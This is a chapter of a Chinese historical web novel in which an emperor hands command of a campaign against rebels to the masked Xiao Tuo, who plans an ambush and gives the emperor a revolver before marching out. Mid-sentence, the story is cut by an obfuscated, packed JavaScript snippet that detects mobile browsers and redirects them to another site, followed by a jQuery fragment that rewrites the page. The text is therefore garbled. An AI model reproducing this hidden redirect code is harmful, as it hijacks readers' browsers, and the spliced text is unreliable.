正午，晴日当空，刺目的阳光普照大地，消融廊檐上的残雪。
二人出了王宫，来到军机大营。
营内，其余人都已到了，一名军吏站在作战沙盘前，调整军旗的方位，孙隆正与手下激烈地讨论着。见他来到，众人纷纷立身行礼，沈行约快步入内，身后还跟着一人。
那男人一身漆黑战袍，勾勒出挺拔高大的身形，颈上一枚金属环扣，扣住的披风垂落于肩后，步调沉稳，视若无人地走了进来。
大营内立时静默无声。
众人目光交汇，你来我往，都对沈行约带来的这个男人的身份十分好奇，并猜测起二人的关系。
萧拓走到沈行约身侧，沉默地站定，面具掩住上半张脸，当左右朝他打量时，锋利的目光从目孔射出，投以危险地一瞥。
沈行约简单给他们介绍过，隐去萧拓胡人的身份，最后道：
“朕已决意，与叛军的这一战，便由他代领统将一职。孙隆，将你的作战计划说给大伙听。”
孙隆与徐阜相视一眼，显然对这个身份未知、临时受命的主将并不信任。
然而君命不可违，几人虽有疑心，却也不敢多作置喙。
孙隆禀过作战方略，指着作战沙盘上，标注军旗的几处，道：
“陛下，臣根据北地郡的舆图，又反复推断过叛军当前的位置，标出了几个地点，请您过目——”
沈行约顺着他手指的方向看过，又朝身侧道：“你怎么想？”
萧拓低头注视沙盘，目光从北地郡边的虞山，渐渐往下，至两郡交界的平缓地带，沉默少顷，抬手将沙盘上的几支军旗挪动位置，改变了原来的作战布局。
“不用一万，”萧拓道：“你给我七千兵马。”
沈行约正要说什么，萧拓又回手示意：“地图。”
军吏托着呈上，萧拓拿过北地郡的舆图看了眼，又复看向沙盘，指出了两军交战的位置：“在虞山东侧的山麓，或周边的山谷地带。”
沈行约眉头蹙起，神情肃穆。
孙隆按照他的示意，深想了下，道：“你怎么就能断定，这股叛军势力一定会在此出现？陛下，先前，臣与部下几名军士推断，其余几处位置也有可能。”
萧拓漠然地一瞥，置若罔闻，转头看到沈行约眸中也带了点疑虑，才道：“前日清晨，我在北地边郡，与这群边兵遭遇过一战，驻守荥坝的两将，其中一个叫张沫的，我与他交手过。”
闻言，沈行约回首看他，眼中带着震惊之色。
徐阜听过之后，则是若有所思，默不作声看了两人一眼。
“分兵两路，”舆图按在桌前，萧拓手指在图上划了一道：“我带着前锋先行，截在叛军抵达山谷前提前布置。”
“等到双方交战，我会率部诱敌，将他们引到谷中位置。”
萧拓抬眼，与沈行约对上视线，低头时，指头在作战沙盘其中一处点了两下：“随后赶来的部众，在后方林中隐蔽待命，以山谷落石声为信号，在山林西南两侧，伐树十丈，用火攻，借助风势，就能一举阻断叛军的退路。”
“不行！”沈行约断然道：“太冒险了，朕已拨出一万精兵，正在校场集结待命，没必要那么冒进。”
萧拓轻笑了一下，“你在担心我？”
沈行约：“……”
军机营内，气氛忽然诡异的寂静。
其余人纷纷别过头去，目光回避。
沈行约脸色沉得像一潭死水，拿过他手中的舆图，道：“可以等到过虞山后，在两郡交界的位置部署作战，提前派人，在这两处进行阻击。”
“那是预备的战术了。”
萧拓伸手去接舆图，在图纸下，碰了碰他冰凉的手指，道：“不会有事。”
沈行约沉了口气，没再说什么。
众人走后，沈行约仍立在桌前，静静看着作战沙盘上的军旗不说话。
萧拓知道，他还在为自己冒险，孤身陷阵的事情生气，便走近了，拉过他的手，放在自己胸前，将对方冰凉修长的指头按在战甲上，意思是没事了，我不是安然无恙站在你面前了吗。
“疯子。”
沈行约避而不见他投来的目光：“滚，别让我再看见你。”
萧拓轻叹一声，把他抱在怀里，在他额前落下一吻。
恰好这时，一个不长眼的小吏没打招呼，闯了进来，沈行约顿时一股无名火起，一把将萧拓推开，朝来人道：“什么事？”
“禀陛下……”
小吏道：“孙将军问……军队何时启程？”
沈行约情绪管理的能力素来很好，那怒气来无影去无踪，很快平复了下来：
“让他等等，朕还有几句话要交代，你先下去。”
小吏退下，营中一片寂静，日光透过半掩的窗扉，映入暖色的光晕。
沈行约缓和了神色，道：“这一战，争取把战场控制在郡地北面，不用急，战时拖长些也无所谓，反正荥坝兵营已经被烧成了一堆灰，这群叛军没有后援，想来也撑不了多久。”
萧拓：“嗯。”
沈行约顿了顿，手搁在桌沿，又道：“等到战胜，首将最好先不要杀，能生擒就生擒，我这边正缺人手，想多招降点人。”
萧拓听他这样说，就知道沈行约这回是铁了心，势必要打回燕都，重夺皇位，再无回桓的余地；而胡戎那边，他二哥虽稳住了局势，可老阎都一日不死，摄提格一日不能掌权，他也不能长久地不在王庭。
想到以后两人天各一方，聚少离多的日子，萧拓不禁在心中暗叹，垂眸默了片刻，眼中闪过一丝黯然。
“你听进去了？”
沈行约转过头，透过面具的目孔，盯着他的双眼看。
他对萧拓这个平素喜欢杀人的爱好很不放心，忍不住叮嘱：
“别乱来，若是交战不利，也别死要面子，活着回来就好。”
萧拓：“嗯，知道了。”
临走前，萧拓将一个随行包裹放进了沈行约手里，后者一脸莫名，打开来看，竟是在浑北那时，萧拓给他看过的那把左轮手枪。
“走时怎么不把它拿着？”
萧拓道：“给你的，就是你的了。”
沈行约似是怔了一下，把枪握在手里，萧拓道：“就两发子弹，别乱扣扳机，危急时刻留着保命。”
沈行约手指轻握，望着那把枪出神，稍稍一顿，抬眸看向萧拓，眼神复杂。
萧拓笑了下，抬手在他颊边摸了摸：“走了。”
军队开拔，王旗在日光下熠熠生辉。
城郊外，七千兵士铿锵出列，浩荡北上，激起漫天尘沙。
金鼓催征，萧拓领两千前锋，在队伍前打马冲出，往郡地外林地密道而去，飞驰之间，银色的马镫折射|出耀目光泽。
沈行约目送大军离开，垂下眼帘，抚摸着手上的一枚扳指，不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340170|161534||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在想什么。
“陛下，”徐阜在他身后，语气试探道：“臣有一事想不明白，可否与陛下一议？”
两人走在回宫殿的甬道上，日影西斜，照在一面坍塌大半的宫墙墙头，沈行约道：“你是想说，此次叛军南下，与两位义军前来赴宴一事，时间上是否过于巧合了。”
徐阜：“陛下明断。”
沈行约头也不回，道：“此事你怎么看？”
徐阜认真思索，片刻后，谨慎回道：“陛下，此事关涉重大，臣愚钝，一时也不能决断，但不论如何，臣想请陛下在今晚宴席上加派人手，多做一重准备，以防生变。”
沈行约听后默了片刻，朝身后道：“待会去把王役给朕叫来。”
“是。”
徐阜又道：“陛下……那张将军？”
两人说话功夫，已行至门阙前，沈行约略作沉吟，道：“等人都到齐了，再去请张叱。”说完作了个手势，让他自去忙去。
徐阜察言观色，一颗心惴惴难安，直至见沈行约面上未有不妥，方才退步走了。
晚宴在即，张、彭两位义军统领不时便会到达驹骊，而按照北地斥候回报的消息，根据预判，荥坝的叛军也将于黄昏时分杀往荥台边郡，时间上的巧合，令人不得不将这两件事联想到一起。
宴请之事，消息是从昨夜发出。
若真如徐阜所猜测的那样，也就意味着，参与议事的人中出现了奸细。
不过眼下值得庆幸的是，前往平叛的军队已经出发。
遣将一事的转机，解决了沈行约麾下无将领可用的不利局面，同时也为值守驹骊留足了兵马。
而今形势，全看接下来一战的结果。
只要战胜，进一步便是统一充州，深入南下，攻取华封内郡。
若战事不利，最坏的打算，也要护全王架，退往阳首，守住一处立足之地。
徐阜反复思量，一时也拿不准，张淼、彭帜二人是否真与叛军达成了什么共识。
若真如此，极大的可能，消息是从派往两郡的信差处走漏的。
但不管怎么说，这件事都与他有着直接的干系。
所以徐阜主动在沈行约面前提出这点，一来是出于他对今夜宴席的担忧；二来也是为撇清自己的嫌疑，毕竟知道这件事的人不多，难保皇帝不会因此事对他心生疑忌。
日落前，两队人马自东、西两面陆续赶来。
郡地关卡处，驻守驹骊的郡兵核查过身份，放队伍入郡。
夕阳余晖落在众人身后，在野郊新长出的草皮上拖出一行残影。
此行，张淼与彭帜各带了一支部将，抵达驹骊王宫，由侍卫长交接随行队伍，前往安置。最后两人各带一名亲信，入殿门，又有守卫盘查，命赴宴的宾客解剑上殿。
天色渐沉，侍者掌起灯，整间大殿烛光晦暗，气氛肃穆而又庄严。
少时众人落座，细微的衣袖摩挲声响渐渐归于沉寂，张淼与彭帜分坐两旁，这二人同属义军领袖，俱是五十左右年纪，单看样貌，张淼似是要比彭帜更年长些。
入座时，两人目光一触即分，转而看向主位。
熏炉半遮的御位前，袅袅烟雾弥散，依稀可见，御案上端坐的一个人影。那影子动了动，旋即，一道清朗的声音响起：
“二位将军不辞辛劳，远道而来，朕心甚慰；列位初来王宫，酒宴之上，诸多君臣繁礼一切从简，不必拘束。”